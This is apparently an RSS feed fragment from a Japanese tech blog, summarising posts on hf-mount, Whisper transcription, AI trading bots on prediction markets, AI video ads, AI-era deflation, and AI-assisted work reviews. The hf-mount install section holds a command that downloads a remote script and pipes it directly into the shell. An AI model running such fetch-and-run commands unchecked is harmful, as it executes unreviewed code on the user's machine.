&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;pending_items&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;未完了の作業&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;self_improvement&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;メモリ進化のガイドライン&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;tool_guidelines&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;ツール使用の指針&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="インストール方法"&gt;インストール方法&lt;/h2&gt;
&lt;p&gt;Claude Code のプラグインシステムを使って 2 コマンドでインストールできる:&lt;/p&gt;</description></item><item><title>HuggingFace hf-mount: AIモデルをダウンロードせずに仮想ファイルシステムとしてマウント</title><link>https://hdknr.github.io/blogs/posts/2026/03/huggingface-hf-mount-ai%E3%83%A2%E3%83%87%E3%83%AB%E3%82%92%E3%83%80%E3%82%A6%E3%83%B3%E3%83%AD%E3%83%BC%E3%83%89%E3%81%9B%E3%81%9A%E3%81%AB%E4%BB%AE%E6%83%B3%E3%83%95%E3%82%A1%E3%82%A4%E3%83%AB%E3%82%B7%E3%82%B9%E3%83%86%E3%83%A0%E3%81%A8%E3%81%97%E3%81%A6%E3%83%9E%E3%82%A6%E3%83%B3%E3%83%88/</link><pubDate>Wed, 25 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/huggingface-hf-mount-ai%E3%83%A2%E3%83%87%E3%83%AB%E3%82%92%E3%83%80%E3%82%A6%E3%83%B3%E3%83%AD%E3%83%BC%E3%83%89%E3%81%9B%E3%81%9A%E3%81%AB%E4%BB%AE%E6%83%B3%E3%83%95%E3%82%A1%E3%82%A4%E3%83%AB%E3%82%B7%E3%82%B9%E3%83%86%E3%83%A0%E3%81%A8%E3%81%97%E3%81%A6%E3%83%9E%E3%82%A6%E3%83%B3%E3%83%88/</guid><description>&lt;p&gt;2026年3月、HuggingFace が新ツール &lt;strong&gt;hf-mount&lt;/strong&gt; を&lt;a href="https://x.com/ClementDelangue/status/2036452081750409383"&gt;発表&lt;/a&gt;しました。HuggingFace Hub にホスティングされている巨大な AI モデルやデータセットを、ダウンロードせずに仮想ファイルシステムとして直接マウントできるツールです。&lt;/p&gt;
&lt;h2 id="hf-mount-とは"&gt;hf-mount とは&lt;/h2&gt;
&lt;p&gt;hf-mount は、HuggingFace の Storage Bucket、モデルリポジトリ、データセットをローカルファイルシステムとしてマウントするツールです。バックエンドには FUSE（Filesystem in Userspace: ユーザー空間でファイルシステムを実装する仕組み）または NFS を使用します。ファイルは最初の読み取り時に遅延フェッチ（lazy fetch）され、実際にアクセスしたバイトだけがネットワークを通ります。&lt;/p&gt;
&lt;p&gt;HuggingFace CEO の Clement Delangue 氏は「ローカルマシンのディスクの 100 倍大きなリモートストレージをアタッチできる」と&lt;a href="https://x.com/ClementDelangue/status/2036452081750409383"&gt;述べています&lt;/a&gt;。&lt;/p&gt;
&lt;h2 id="主な特徴"&gt;主な特徴&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;ダウンロード不要&lt;/strong&gt;: モデルやデータセットを事前にダウンロードする必要がない&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;遅延フェッチ&lt;/strong&gt;: 実際にアクセスしたファイルだけがネットワーク経由で取得される&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2つのバックエンド&lt;/strong&gt;: NFS（推奨）と FUSE から選択可能&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;読み書き対応&lt;/strong&gt;: Storage Bucket は読み書き両対応、モデル・データセットは読み取り専用&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Kubernetes 対応&lt;/strong&gt;: CSI ドライバー（&lt;a href="https://github.com/huggingface/hf-csi-driver"&gt;hf-csi-driver&lt;/a&gt;）で Pod 内に FUSE ボリュームとしてマウント可能&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="インストール"&gt;インストール&lt;/h2&gt;
&lt;p&gt;Linux（x86_64, aarch64）と macOS（Apple Silicon）に対応しています。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;curl -fsSL https://raw.githubusercontent.com/huggingface/hf-mount/main/install.sh | sh
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;デフォルトでは &lt;code&gt;~/.local/bin/&lt;/code&gt; にインストールされます。&lt;code&gt;INSTALL_DIR&lt;/code&gt; 環境変数で変更可能です。&lt;/p&gt;</description></item><item><title>insanely-fast-whisper: 150分の音声を98秒で文字起こしする CLI ツール</title><link>https://hdknr.github.io/blogs/posts/2026/03/insanely-fast-whisper-150%E5%88%86%E3%81%AE%E9%9F%B3%E5%A3%B0%E3%82%9298%E7%A7%92%E3%81%A7%E6%96%87%E5%AD%97%E8%B5%B7%E3%81%93%E3%81%97%E3%81%99%E3%82%8B-cli-%E3%83%84%E3%83%BC%E3%83%AB/</link><pubDate>Wed, 25 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/insanely-fast-whisper-150%E5%88%86%E3%81%AE%E9%9F%B3%E5%A3%B0%E3%82%9298%E7%A7%92%E3%81%A7%E6%96%87%E5%AD%97%E8%B5%B7%E3%81%93%E3%81%97%E3%81%99%E3%82%8B-cli-%E3%83%84%E3%83%BC%E3%83%AB/</guid><description>OpenAI Whisper をベースに Flash Attention 2 とバッチ処理で高速化した文字起こし CLI ツール insanely-fast-whisper の紹介。150分の音声を98秒で処理できる。</description></item><item><title>AI トレーディングボットとタイムゾーン裁定取引：24時間自律稼働で稼ぐ仕組みとリスク</title><link>https://hdknr.github.io/blogs/posts/2026/03/ai-%E3%83%88%E3%83%AC%E3%83%BC%E3%83%87%E3%82%A3%E3%83%B3%E3%82%B0%E3%83%9C%E3%83%83%E3%83%88%E3%81%A8%E3%82%BF%E3%82%A4%E3%83%A0%E3%82%BE%E3%83%BC%E3%83%B3%E8%A3%81%E5%AE%9A%E5%8F%96%E5%BC%9524%E6%99%82%E9%96%93%E8%87%AA%E5%BE%8B%E7%A8%BC%E5%83%8D%E3%81%A7%E7%A8%BC%E3%81%90%E4%BB%95%E7%B5%84%E3%81%BF%E3%81%A8%E3%83%AA%E3%82%B9%E3%82%AF/</link><pubDate>Tue, 24 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/ai-%E3%83%88%E3%83%AC%E3%83%BC%E3%83%87%E3%82%A3%E3%83%B3%E3%82%B0%E3%83%9C%E3%83%83%E3%83%88%E3%81%A8%E3%82%BF%E3%82%A4%E3%83%A0%E3%82%BE%E3%83%BC%E3%83%B3%E8%A3%81%E5%AE%9A%E5%8F%96%E5%BC%9524%E6%99%82%E9%96%93%E8%87%AA%E5%BE%8B%E7%A8%BC%E5%83%8D%E3%81%A7%E7%A8%BC%E3%81%90%E4%BB%95%E7%B5%84%E3%81%BF%E3%81%A8%E3%83%AA%E3%82%B9%E3%82%AF/</guid><description>&lt;p&gt;「寝てる間に稼ぐ」――AI トレーディングボットが24時間タイムゾーン裁定を監視し、海外で確定した市場を見つけて $43,800 を稼いだという投稿が話題になっています。本記事では、タイムゾーン裁定取引（Timezone Arbitrage）の仕組み、AI ボットの役割、そして見落とされがちなリスクについて解説します。&lt;/p&gt;
&lt;h2 id="暗号通貨予測市場における裁定取引"&gt;暗号通貨予測市場における裁定取引&lt;/h2&gt;
&lt;p&gt;今回話題になっている「タイムゾーン裁定」は、暗号通貨の&lt;strong&gt;予測市場&lt;/strong&gt;（Prediction Market）と&lt;strong&gt;現物取引所&lt;/strong&gt;の間に生じるレイテンシ（遅延）を利用する戦略です。&lt;/p&gt;
&lt;h3 id="予測市場とは"&gt;予測市場とは&lt;/h3&gt;
&lt;p&gt;Polymarket に代表される予測市場では、「BTC は15分後に上がるか？下がるか？」といった短期コントラクトが取引されています。参加者はイベントの結果に対してオッズ付きのポジションを取り、結果確定後に精算されます。&lt;/p&gt;
&lt;h3 id="裁定の具体的な流れ"&gt;裁定の具体的な流れ&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;現物市場で価格が動く&lt;/strong&gt; — Binance や Coinbase で BTC が急騰し、明確な上昇トレンドが確認される&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;予測市場のオッズが追いつかない&lt;/strong&gt; — Polymarket の「BTC 15分後に上昇」コントラクトのオッズがまだ 50/50 のまま&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ボットが即座にポジションを取る&lt;/strong&gt; — 実際の上昇確率が ~85% なのに、市場価格は 50% を示している。この乖離を突いて「上昇」側を購入&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;結果確定で利益獲得&lt;/strong&gt; — 15分後に BTC が実際に上昇し、コントラクトが精算される&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="なぜタイムゾーンが関係するか"&gt;なぜ「タイムゾーン」が関係するか&lt;/h3&gt;
&lt;p&gt;暗号通貨市場は24時間稼働ですが、&lt;strong&gt;トレーダーの活動量はタイムゾーンに依存&lt;/strong&gt;します。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;アジア時間帯に大きな値動きが発生&lt;/strong&gt; → 欧米のトレーダーが少なく、予測市場の流動性が薄い → オッズ修正が遅れる&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;欧米時間帯の急変動&lt;/strong&gt; → アジア圏の参加者が少なく、同様にラグが発生&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;この地域ごとの活動時間差が市場の非効率性を生み、24時間稼働するボットがその隙間を突ける構造になっています。&lt;/p&gt;
&lt;h3 id="実際の規模"&gt;実際の規模&lt;/h3&gt;
&lt;p&gt;報道ベースでは、この手法の規模は無視できないレベルに達しています。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;あるボットが &lt;strong&gt;$313 の元手から1ヶ月で $414,000&lt;/strong&gt; を達成（BTC/ETH/SOL の15分コントラクト、勝率98%）&lt;/li&gt;
&lt;li&gt;2024年4月〜2025年4月の推定裁定利益は全体で &lt;strong&gt;約 $4,000万&lt;/strong&gt;（約60億円）&lt;/li&gt;
&lt;li&gt;Polymarket の最も利益を上げているトレーダー上位20のうち &lt;strong&gt;14がボット&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;なお、Polymarket はこのレイテンシ裁定を抑制するため、15分コントラクトに&lt;strong&gt;動的テイカー手数料&lt;/strong&gt;を導入しています。以前のゼロ手数料構造がボットに有利すぎたためです。&lt;/p&gt;
&lt;h2 id="ai-ボットが果たす役割"&gt;AI ボットが果たす役割&lt;/h2&gt;
&lt;p&gt;従来の手動アービトラージでは、人間がリアルタイムで複数市場を監視する必要があり、実質的に24時間の稼働は不可能でした。AI ボットはこれを根本的に変えます。&lt;/p&gt;</description></item><item><title>Renoise：Claude Code + Seedance 2.0 で動画広告制作を100倍スケールさせるAIツール</title><link>https://hdknr.github.io/blogs/posts/2026/03/renoiseclaude-code--seedance-2.0-%E3%81%A7%E5%8B%95%E7%94%BB%E5%BA%83%E5%91%8A%E5%88%B6%E4%BD%9C%E3%82%92100%E5%80%8D%E3%82%B9%E3%82%B1%E3%83%BC%E3%83%AB%E3%81%95%E3%81%9B%E3%82%8Bai%E3%83%84%E3%83%BC%E3%83%AB/</link><pubDate>Tue, 24 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/renoiseclaude-code--seedance-2.0-%E3%81%A7%E5%8B%95%E7%94%BB%E5%BA%83%E5%91%8A%E5%88%B6%E4%BD%9C%E3%82%92100%E5%80%8D%E3%82%B9%E3%82%B1%E3%83%BC%E3%83%AB%E3%81%95%E3%81%9B%E3%82%8Bai%E3%83%84%E3%83%BC%E3%83%AB/</guid><description>&lt;p&gt;Claude Code と ByteDance の Seedance 2.0 を組み合わせた動画広告制作ツール「Renoise」が登場した。1枚の商品写真から数百パターンの動画クリエイティブを自動生成できるという。&lt;/p&gt;
&lt;h2 id="renoise-とは"&gt;Renoise とは&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://renoise.ai/"&gt;Renoise&lt;/a&gt; は「動画をつくるな、プログラムしろ（Don&amp;rsquo;t make videos — program them）」をコンセプトに掲げる AI 動画制作ツール。Claude Code のコード生成能力と、ByteDance が開発した動画生成 AI「Seedance 2.0」を組み合わせることで、動画広告の制作を従来の100倍にスケールさせることを目指している。&lt;/p&gt;
&lt;p&gt;主な特徴：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;1枚の商品写真から数百パターンの動画クリエイティブを生成&lt;/li&gt;
&lt;li&gt;手動編集ではなく、コードベースで動画を「設計・展開」するアプローチ&lt;/li&gt;
&lt;li&gt;広告やマーケティング向けのクリエイティブ量産に特化&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="seedance-20-について"&gt;Seedance 2.0 について&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://seed.bytedance.com/en/seedance2_0"&gt;Seedance 2.0&lt;/a&gt; は ByteDance の Seed 研究チームが開発した次世代 AI 動画生成モデル。2026年2月にベータ版が公開され、SNS で大きな話題となった。&lt;/p&gt;
&lt;h3 id="主な機能"&gt;主な機能&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;マルチモーダル入力&lt;/strong&gt;: テキスト、画像（最大9枚）、動画（最大3本）、音声（最大3ファイル）を組み合わせて動画を生成&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;音声・動画の同時生成&lt;/strong&gt;: デュアルチャンネルステレオ技術で映像と完全同期した音声を生成&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;高解像度出力&lt;/strong&gt;: ネイティブ 2K 解像度（2048×1080）に対応&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;高速生成&lt;/strong&gt;: 前モデル Seedance 1.5 Pro と比べて30%の速度向上&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;物理演算の改善&lt;/strong&gt;: 人物の動きや物体の相互作用がよりリアルに&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="claude-code-との連携"&gt;Claude Code との連携&lt;/h2&gt;
&lt;p&gt;Claude Code は Anthropic が提供する CLI ベースの AI コーディングアシスタント。Renoise では、Claude Code の自然言語によるコード生成能力を活かして、動画制作のワークフローをプログラマブルに制御する。&lt;/p&gt;</description></item><item><title>「資産防衛」という幻想：AI時代のデフレと金融リセットの先に本当に備えるべきこと</title><link>https://hdknr.github.io/blogs/posts/2026/03/%E8%B3%87%E7%94%A3%E9%98%B2%E8%A1%9B%E3%81%A8%E3%81%84%E3%81%86%E5%B9%BB%E6%83%B3ai%E6%99%82%E4%BB%A3%E3%81%AE%E3%83%87%E3%83%95%E3%83%AC%E3%81%A8%E9%87%91%E8%9E%8D%E3%83%AA%E3%82%BB%E3%83%83%E3%83%88%E3%81%AE%E5%85%88%E3%81%AB%E6%9C%AC%E5%BD%93%E3%81%AB%E5%82%99%E3%81%88%E3%82%8B%E3%81%B9%E3%81%8D%E3%81%93%E3%81%A8/</link><pubDate>Mon, 23 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/%E8%B3%87%E7%94%A3%E9%98%B2%E8%A1%9B%E3%81%A8%E3%81%84%E3%81%86%E5%B9%BB%E6%83%B3ai%E6%99%82%E4%BB%A3%E3%81%AE%E3%83%87%E3%83%95%E3%83%AC%E3%81%A8%E9%87%91%E8%9E%8D%E3%83%AA%E3%82%BB%E3%83%83%E3%83%88%E3%81%AE%E5%85%88%E3%81%AB%E6%9C%AC%E5%BD%93%E3%81%AB%E5%82%99%E3%81%88%E3%82%8B%E3%81%B9%E3%81%8D%E3%81%93%E3%81%A8/</guid><description>&lt;p&gt;不動産コンサルタントの長嶋修氏がX上で公開した長文コラム「資産防衛という幻想」が話題になっている。AIによる生産性革命がもたらす構造的デフレ、通貨制度の崩壊リスク、そして「資産防衛」という概念そのものへの疑問を投げかける内容だ。&lt;/p&gt;
&lt;h2 id="核心の主張沈みゆく船の中で座席を替えている"&gt;核心の主張：「沈みゆく船の中で座席を替えている」&lt;/h2&gt;
&lt;p&gt;長嶋氏のコラムで最も刺さるのは、この一節だろう：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;「既存の通貨制度が続く」「労働による所得が存在する」という前提の上に立っている。その前提を疑わずに「株と債券の比率をどうするか」を議論しているのは、沈みゆく船の中で座席を替えているようなものだ。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;世に溢れる「資産防衛術」は、金融商品の配分をどうするかという枠組みの中にいる。だがその枠組み自体が、既存の通貨制度と労働所得の存在を前提としている。AIがその前提を壊しうるなら、議論の土台ごと揺らぐことになる。&lt;/p&gt;
&lt;h2 id="aiとロボットがデフレを生む日"&gt;AIとロボットが「デフレ」を生む日&lt;/h2&gt;
&lt;p&gt;AIとロボティクスの進化が加速し続けている。AIが設計し、ロボットが製造し、AIが管理する。人間の労働が介在しない生産ラインが現実のものになりつつある。&lt;/p&gt;
&lt;p&gt;そうなれば、モノやサービスの供給能力は爆発的に拡大し、限界費用はゼロに近づく。物価は上がるどころか、構造的に下がり続けることになる。つまり、いまのインフレの先に待っているのは、かつてない規模のデフレかもしれない。&lt;/p&gt;
&lt;p&gt;長嶋氏はこう指摘する。生産性が極限まで高まれば物価は下がる。これは経済学の基本原理であり、インフレが永続するという想定のほうが特殊な前提を必要とする、と。&lt;/p&gt;
&lt;h2 id="デフレが意味するもの現金最強は半分しか正しくない"&gt;デフレが意味するもの：「現金最強」は半分しか正しくない&lt;/h2&gt;
&lt;p&gt;デフレとは、貨幣の購買力が時間とともに上がる現象だ。ここで「現金最強」という話が出てくるが、これは半分しか正しくない。&lt;/p&gt;
&lt;p&gt;現金は確かに「毀損しにくい」が、利回りはゼロであり、何も生み出さない。1990年代後半から2010年代の日本を振り返れば、現金だけを抱え続けた人が最も豊かになったわけではない。デフレの本質は「名目の数字と実質的な価値は別物だ」ということを教えてくれる点にある。&lt;/p&gt;
&lt;p&gt;不動産についても同様だ。不動産には「交換価値」（売買価格）と「収益価値」（賃料収入）と「使用価値」（そこに住める、使える）の三つがある。デフレ下では「交換価値」は確かに下がるが、「使用価値」に至っては全く毀損しない。今日も雨風をしのげる屋根の価値は、デフレかインフレかを問わない。&lt;/p&gt;
&lt;h2 id="尺度そのものが壊れるとき金融リセットの可能性"&gt;「尺度」そのものが壊れるとき：金融リセットの可能性&lt;/h2&gt;
&lt;p&gt;論点はさらに深まる。通貨とは「信用の合意」に過ぎない。円にもドルにも物理的な裏付けはない。現行の管理通貨制度は1971年のニクソン・ショック以降、まだ半世紀しか経っていない。歴史的に見て、永久に続いた通貨制度など存在しない。&lt;/p&gt;
&lt;p&gt;AIによる生産性革命がデフレを引き起こし、それが既存の金融システムに耐えがたいストレスをかけたとき、「金融リセット」と呼ばれる事態が起きうる。そうなれば、現金も安泰ではない。&lt;/p&gt;
&lt;p&gt;しかし重要なのは、「価値の尺度」が壊れても「価値そのもの」は消えないという事実だ。メートル原器が壊れても物理的な距離は存在し続ける。同様に、「そこに住める」「そこで商売ができる」という不動産の「使用価値」は、通貨制度とは独立に存在し続ける。&lt;/p&gt;
&lt;h2 id="人的資本が最強という最後の砦も崩れる"&gt;「人的資本が最強」という最後の砦も崩れる&lt;/h2&gt;
&lt;p&gt;長嶋氏は長年、「最終的には人的資本が最強だ」と言ってきたという。知識、技能、信頼関係。通貨が変わっても、「この人に頼めば問題が解決する」という信用は移転可能だ、と。&lt;/p&gt;
&lt;p&gt;だが、AIが人間の技能を同等以上の品質で、ほぼゼロコストで代替するなら、「人的資本」の市場価値そのものが崩壊する。これは「仕事が減る」というのんきな話ではない。労働と報酬の交換を前提に設計された社会制度——賃金、年金、社会保険、税制——そのすべてが機能不全に陥るということだ。&lt;/p&gt;
&lt;p&gt;ここで注目すべき点がある。富の総量は減らない。むしろ爆発的に増える。AIとロボットが生産を担えば、社会全体としては「豊か」になる。にもかかわらず個人が困窮するとすれば、それは生産の問題ではなく、&lt;strong&gt;分配の問題&lt;/strong&gt;である。&lt;/p&gt;
&lt;h2 id="三重の崩壊のあとに残るもの"&gt;三重の崩壊のあとに残るもの&lt;/h2&gt;
&lt;p&gt;AIによるデフレ、金融リセット、労働の代替。この三つが重なる最悪のシナリオで、崩壊するものを整理すると——金融資産の名目価値、通貨の信用、労働による所得、人的資本の市場価値、既存の分配制度。ほぼすべてが揺らぐ。&lt;/p&gt;
&lt;p&gt;それでも残るものがある：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;尺度に依存しない実物的価値&lt;/strong&gt; — 自分が住む場所、食料やエネルギーへのアクセス、健康、人的ネットワーク。これらはどんな通貨制度のもとでも交換力を持つ。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;生産手段へのアクセス&lt;/strong&gt; — AIとロボットが富を生むなら、それを所有・アクセスできるかどうかが決定的に重要になる。AIを「使われる側」ではなく「使う側」にいること。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;制度設計への影響力&lt;/strong&gt; — 富の分配が最大の問題になるなら、そのルールを決める過程に関与できることの価値は極めて大きい。政治参加、コミュニティでの発言力、社会的資本。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="問うべきは何を守るかではない"&gt;問うべきは「何を守るか」ではない&lt;/h2&gt;
&lt;p&gt;長嶋氏の結論は明快だ：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;問うべきは、「何を守るか」ではなく、「制度が変わったときに、自分は何を創れるか」である。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;過去の成功パターンをそのまま延長して安心することが、最も危険な「資産運用」かもしれない。いまのインフレを心配するのは自然なことだが、その先に起こりうることにも目を向ける必要がある。&lt;/p&gt;
&lt;p&gt;AI時代における本当の「備え」とは、金融商品のポートフォリオを最適化することではなく、制度が根本から変わっても価値を持ち続けるものに投資することなのだろう。&lt;/p&gt;</description></item><item><title>AI が壊す「専門知識のペイウォール」: Claude で床下除湿システムを設計した事例から考える</title><link>https://hdknr.github.io/blogs/posts/2026/03/ai-%E3%81%8C%E5%A3%8A%E3%81%99%E5%B0%82%E9%96%80%E7%9F%A5%E8%AD%98%E3%81%AE%E3%83%9A%E3%82%A4%E3%82%A6%E3%82%A9%E3%83%BC%E3%83%AB-claude-%E3%81%A7%E5%BA%8A%E4%B8%8B%E9%99%A4%E6%B9%BF%E3%82%B7%E3%82%B9%E3%83%86%E3%83%A0%E3%82%92%E8%A8%AD%E8%A8%88%E3%81%97%E3%81%9F%E4%BA%8B%E4%BE%8B%E3%81%8B%E3%82%89%E8%80%83%E3%81%88%E3%82%8B/</link><pubDate>Mon, 23 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/ai-%E3%81%8C%E5%A3%8A%E3%81%99%E5%B0%82%E9%96%80%E7%9F%A5%E8%AD%98%E3%81%AE%E3%83%9A%E3%82%A4%E3%82%A6%E3%82%A9%E3%83%BC%E3%83%AB-claude-%E3%81%A7%E5%BA%8A%E4%B8%8B%E9%99%A4%E6%B9%BF%E3%82%B7%E3%82%B9%E3%83%86%E3%83%A0%E3%82%92%E8%A8%AD%E8%A8%88%E3%81%97%E3%81%9F%E4%BA%8B%E4%BE%8B%E3%81%8B%E3%82%89%E8%80%83%E3%81%88%E3%82%8B/</guid><description>Claude を使って業者見積もり150万円の床下除湿システムを37万円で自力設計した事例。AI が専門知識のペイウォールを壊し、HVAC・建設・農業などの領域で何が変わるかを考察。</description></item><item><title>AIにログを読ませてPDCA計画を立てさせる：深津貴之氏が提案するシンプルな振り返り術</title><link>https://hdknr.github.io/blogs/posts/2026/03/ai%E3%81%AB%E3%83%AD%E3%82%B0%E3%82%92%E8%AA%AD%E3%81%BE%E3%81%9B%E3%81%A6pdca%E8%A8%88%E7%94%BB%E3%82%92%E7%AB%8B%E3%81%A6%E3%81%95%E3%81%9B%E3%82%8B%E6%B7%B1%E6%B4%A5%E8%B2%B4%E4%B9%8B%E6%B0%8F%E3%81%8C%E6%8F%90%E6%A1%88%E3%81%99%E3%82%8B%E3%82%B7%E3%83%B3%E3%83%97%E3%83%AB%E3%81%AA%E6%8C%AF%E3%82%8A%E8%BF%94%E3%82%8A%E8%A1%93/</link><pubDate>Mon, 23 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/ai%E3%81%AB%E3%83%AD%E3%82%B0%E3%82%92%E8%AA%AD%E3%81%BE%E3%81%9B%E3%81%A6pdca%E8%A8%88%E7%94%BB%E3%82%92%E7%AB%8B%E3%81%A6%E3%81%95%E3%81%9B%E3%82%8B%E6%B7%B1%E6%B4%A5%E8%B2%B4%E4%B9%8B%E6%B0%8F%E3%81%8C%E6%8F%90%E6%A1%88%E3%81%99%E3%82%8B%E3%82%B7%E3%83%B3%E3%83%97%E3%83%AB%E3%81%AA%E6%8C%AF%E3%82%8A%E8%BF%94%E3%82%8A%E8%A1%93/</guid><description>&lt;p&gt;note CXO・THE GUILD 代表の深津貴之氏（&lt;a href="https://x.com/fladdict"&gt;@fladdict&lt;/a&gt;）が、AI を使った日次・週次の振り返り手法を紹介している。やり方は極めてシンプルで、「昨日（先週）のログを AI に読み込ませて、PDCA 計画を策定させる」だけだという。&lt;/p&gt;
&lt;h2 id="手法の概要"&gt;手法の概要&lt;/h2&gt;
&lt;p&gt;深津氏のツイートによると、手順は以下の通り：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;昨日（または先週）の作業ログを AI に読み込ませる&lt;/li&gt;
&lt;li&gt;「昨日（先週）の問題を解決する PDCA 計画を策定せよ」と指示する&lt;/li&gt;
&lt;li&gt;AI が問題点を分析し、改善計画を提案してくれる&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;これだけで「仕事と人生がドンドン解決していく」と述べている。&lt;/p&gt;
&lt;h2 id="なぜこの手法が効果的なのか"&gt;なぜこの手法が効果的なのか&lt;/h2&gt;
&lt;h3 id="ログの蓄積がそのまま改善の燃料になる"&gt;ログの蓄積がそのまま改善の燃料になる&lt;/h3&gt;
&lt;p&gt;日々の作業ログは多くの人が何らかの形で残している。しかし、それを定期的に振り返って改善につなげるのは手間がかかる。AI を挟むことで、ログの分析と計画策定のコストがほぼゼロになる。&lt;/p&gt;
&lt;h3 id="pdca-サイクルのcheck--actが自動化される"&gt;PDCA サイクルの「Check → Act」が自動化される&lt;/h3&gt;
&lt;p&gt;PDCA サイクルの中で最もおろそかになりがちなのが Check（振り返り）と Act（改善アクション）のフェーズだ。AI にログを読ませることで、この2つのフェーズが自動的に回るようになる。&lt;/p&gt;
&lt;h3 id="客観的な視点が得られる"&gt;客観的な視点が得られる&lt;/h3&gt;
&lt;p&gt;自分のログを自分で振り返ると、どうしてもバイアスがかかる。AI に分析させることで、見落としていた問題点やパターンに気づける可能性がある。&lt;/p&gt;
&lt;h2 id="実践のポイント"&gt;実践のポイント&lt;/h2&gt;
&lt;h3 id="ログの形式"&gt;ログの形式&lt;/h3&gt;
&lt;p&gt;AI に読み込ませるログは、特別なフォーマットである必要はない。日報、タスク管理ツールの履歴、カレンダーの予定、チャットの履歴など、手元にあるものをそのまま使えばよい。&lt;/p&gt;
&lt;h3 id="プロンプトの例"&gt;プロンプトの例&lt;/h3&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;以下は私の昨日の作業ログです。
[ログを貼り付け]
このログを分析して、以下の観点で PDCA 計画を策定してください：
- Plan: 今日取り組むべき優先課題
- Do: 具体的なアクション項目
- Check: 昨日の問題点と原因分析
- Act: 改善すべきプロセスや習慣
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="週次での活用"&gt;週次での活用&lt;/h3&gt;
&lt;p&gt;日次だけでなく、週次でも同じ手法が使える。1週間分のログをまとめて AI に渡せば、より大きな視点での改善計画が得られる。&lt;/p&gt;
&lt;h2 id="ai--pdca-の広がり"&gt;AI × PDCA の広がり&lt;/h2&gt;
